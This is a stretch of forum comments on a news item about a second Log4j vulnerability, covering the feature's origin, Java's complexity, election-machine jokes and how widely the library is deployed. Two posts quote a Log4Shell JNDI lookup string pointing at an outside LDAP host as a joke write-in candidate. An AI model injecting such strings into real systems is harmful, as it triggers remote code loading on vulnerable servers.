The one thing we can all be sure of though is that our elections are the most secure.
There's no good reason to do elections on anything other than paper.
Log4Shell update: second Log4j vulnerability published
61–70 of 289 posts
Re: Log4Shell update: second Log4j vulnerability published
#62Who was the customer or class of customer that uses this string interpolation business? Edit: also, why was this feature requested in the first place?
Here's the alleged original Jira ticket: https://issues.apache.org/jira/browse/LOG4J2-313 PS: Don't post snarky comments on an 8-year old Jira ticket, please.
Which bugs the question who is that guy that introduced the patch?
Re: Log4Shell update: second Log4j vulnerability published
#63Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.
I'd argue it's more a symptom of the Java ecosystem than anything, and probably a lot more to come. From my brief tenure with it, it seemed to be 'add everything, deprecate nothing'. I remember when writing my first Java code from reference, it all worked, then my coworkers grilled me for using some -builtin- libraries because 'nobody uses that anymore.'
That, and Java does everything their own way. From bouncycastle crypto to db connectors to freakin JKS, it was very much NIH all the way down to an outsider. I actually worked for a time where half my job was converting JKS to PEM for customers.
Java isn't all bad, but could have used much stronger and much more conservative governance.
Re: Log4Shell update: second Log4j vulnerability published
#64Earlier quoted context omitted.
My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s...
Just read through some of that. My favorite response: "Is it wrong to use a log4j exploit as a password? I mean, passwords shouldn't be coming anywhere near logging code... right?" How many times have we heard of raw text passwords being saved in logs?
Only once. At Facebook: https://krebsonsecurity.com/2019/03/facebook-stored-hundreds...
Re: Log4Shell update: second Log4j vulnerability published
#65Who was the customer or class of customer that uses this string interpolation business? Edit: also, why was this feature requested in the first place?
Here's the alleged original Jira ticket: https://issues.apache.org/jira/browse/LOG4J2-313 PS: Don't post snarky comments on an 8-year old Jira ticket, please.
Too late, someone already posted this comment 2 days ago:
"nice work ;)"
Re: Log4Shell update: second Log4j vulnerability published
#66The one thing we can all be sure of though is that our elections are the most secure.
Election machines usually don't accept any input from outside sources? You can't write in {jndi:ldap://voteforme.com} as your preferred candidate
Depending on the election, you might be able to write in an arbitrary candidate.
Re: Log4Shell update: second Log4j vulnerability published
#67Earlier quoted context omitted.
Election machines usually don't accept any input from outside sources? You can't write in {jndi:ldap://voteforme.com} as your preferred candidate
I believe your parent poster is poking fun at the idea that we can build secure electronic voting machines, when we can't even build a logging library without multiple RCE's. I don't think they insinuate that the voting machines are vulnerable to this specific threat.
I wouldn't be surprised if they were.
Re: Log4Shell update: second Log4j vulnerability published
#68Earlier quoted context omitted.
I wouldn't be surprised if log4j 1.x is also vulnerable in many fun ways and that bad actors would be more willing to poke around log4j 1.x now in order to figure out new vulnerabilities to exploit.
My general impression for years has been that log4j2 and slf4j/logback are overengineered feature-fests whereas log4j 1.x is sane and simple.
IIUC, Log4j 1 is a completely separate code based from 2, so you may be right.
Re: Log4Shell update: second Log4j vulnerability published
#69This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).
log4j 2 isn't in so many things AFAIK? log4j 1.x is in everything, but that's not vulnerable.
It's in a whole stack of Salesforce and GIS products based on the Sales force update page and some of our spatial vendors emails. That alone means a great many large and medium companies and large government departments around the world have v2 available in some way on a piece of infrastructure somewhere.
Re: Log4Shell update: second Log4j vulnerability published
#70Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.
I'd argue it's more a symptom of the Java ecosystem than anything, and probably a lot more to come. From my brief tenure with it, it seemed to be 'add everything, deprecate nothing'. I remember when writing my first Java code from reference, it all worked, then my coworkers grilled me for using some -builtin- libraries because 'nobody uses that anymore.' That, and Java does everything their own way. From bouncycastle…
This is one reason I like Go. It’s exactly the opposite to Java in that respect.